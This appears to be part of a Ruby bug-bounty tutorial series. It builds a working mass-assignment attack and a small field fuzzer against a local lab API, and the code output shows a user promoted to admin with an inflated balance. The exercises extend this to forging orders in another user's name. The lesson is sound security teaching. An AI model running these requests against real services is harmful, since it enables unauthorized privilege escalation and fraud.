// Bug Bounty Automation in Ruby · Part 5

Fuzzing the inputs

We stop sending the fields the API expects and start sending the ones it doesn't. A profile-update endpoint that merges whatever you give it becomes a way to set your own role and balance — mass assignment. We build a small fuzzer to find it, and learn blocks and yield doing it.

RubyFuzzingMass AssignmentBlocks
4 min read

So far we’ve sent well-formed requests. Fuzzing is the opposite instinct: send inputs the developer didn’t plan for — extra fields, wrong types, values out of range — and watch what breaks. The bug we’re after this part is mass assignment: an endpoint that takes your JSON body and merges all of it into a record, including fields you were never meant to control.

The lab lets you update your own profile with PATCH /api/me. Start fuzz.rb with a login helper and a PATCH:

require 'net/http'
require 'json'
require 'uri'

BASE = 'http://127.0.0.1:4567'

def login(name)
  res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

def patch(path, token, body)
  uri = URI("#{BASE}#{path}")
  req = Net::HTTP::Patch.new(uri)
  req['Authorization'] = "Bearer #{token}"
  req['Content-Type'] = 'application/json'
  req.body = body.to_json
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

The intended use, then the abuse

First the legitimate path — update your display name — so we know the endpoint works and can see our starting state:

token  = login('alice')
before = JSON.parse(patch('/api/me', token, 'name' => 'alice').body)
puts "[*] start: role=#{before['role']} balance=#{before['balance']}"
$ ruby fuzz.rb
[*] start: role=user balance=1000

Now the abuse. The endpoint is supposed to let us change our name. But if it merges the whole body blindly, it’ll also accept fields it should guard — like role and balance. Send them and find out:

loot = JSON.parse(patch('/api/me', token, 'role' => 'admin', 'balance' => 1_000_000).body)
puts "[+] after: role=#{loot['role']} balance=#{loot['balance']}"
$ ruby fuzz.rb
...
[+] after: role=admin balance=1000000

One request promoted a normal user to admin and set their balance to a million. The endpoint never had a list of fields it was allowed to change, so it changed whatever we named. That’s mass assignment.

Turning it into a fuzzer

Guessing role and balance worked because we know the domain. A fuzzer automates the guessing: throw a list of sensitive field names at the endpoint and report which ones stick. This is a good moment to meet blocks — the chunks of code in do ... end you’ve been passing around — and yield, which runs one.

Write a fuzz method that walks payloads and hands each to a block, letting the caller decide how to test it:

def fuzz(payloads)
  payloads.each do |field, value|
    accepted = yield(field, value)
    puts "  #{field.ljust(9)} <- #{value.inspect.ljust(9)} #{accepted ? 'ACCEPTED' : 'ignored'}"
  end
end

yield(field, value) calls whatever block you pass to fuzz, with those two arguments, and uses the value the block returns. Now call it with a set of fields an attacker cares about, and a block that PATCHes each and checks whether the server echoed our value back:

SENSITIVE = { 'role' => 'admin', 'balance' => 9_999, 'is_admin' => true, 'verified' => true }

fresh = login('bob')
fuzz(SENSITIVE) do |field, value|
  result = JSON.parse(patch('/api/me', fresh, field => value).body)
  result[field] == value
end
$ ruby fuzz.rb
...
  role      <- "admin"   ACCEPTED
  balance   <- 9999      ACCEPTED
  is_admin  <- true      ACCEPTED
  verified  <- true      ACCEPTED

Every field stuck, because this endpoint merges without a whitelist. On a real target most of a list like this would come back ignored and one or two would read ACCEPTED — and those are your finding. The fuzzer’s value isn’t that it tried role; it’s that it tried forty fields while you read your email, and told you which two mattered.

Takeaways

  • Mass assignment: an endpoint that merges your whole body into a record lets you write fields you don’t own — role, balance, is_admin. Send the intended field plus a few sensitive ones and see what sticks.
  • A block is code in do |args| ... end passed to a method; yield runs it and returns its value. It lets one method (fuzz) own the looping while the caller owns the test.
  • .inspect shows a value the way you’d type it ("admin", true); .ljust keeps columns aligned.
  • A fuzzer’s job is coverage: try the whole list mechanically, surface the hits.

Exercises

  1. Extend SENSITIVE with fields a real app might guard — email_verified, credits, plan, owner_id — and re-run. The technique doesn’t change, only the wordlist.
  2. Fuzz types, not just fields: send balance as a string "abc", an array, and a negative number. Does the endpoint validate any of them?
  3. Point the fuzzer at POST /api/orders (which also merges its body). Can you place an order with a user_id that isn’t yours — an order in someone else’s name?

Next — Part 6: one request made us rich. In Part 6 we send many at once — firing the coupon endpoint concurrently to redeem a one-time reward several times before the server notices. Threads, and a race.

← All parts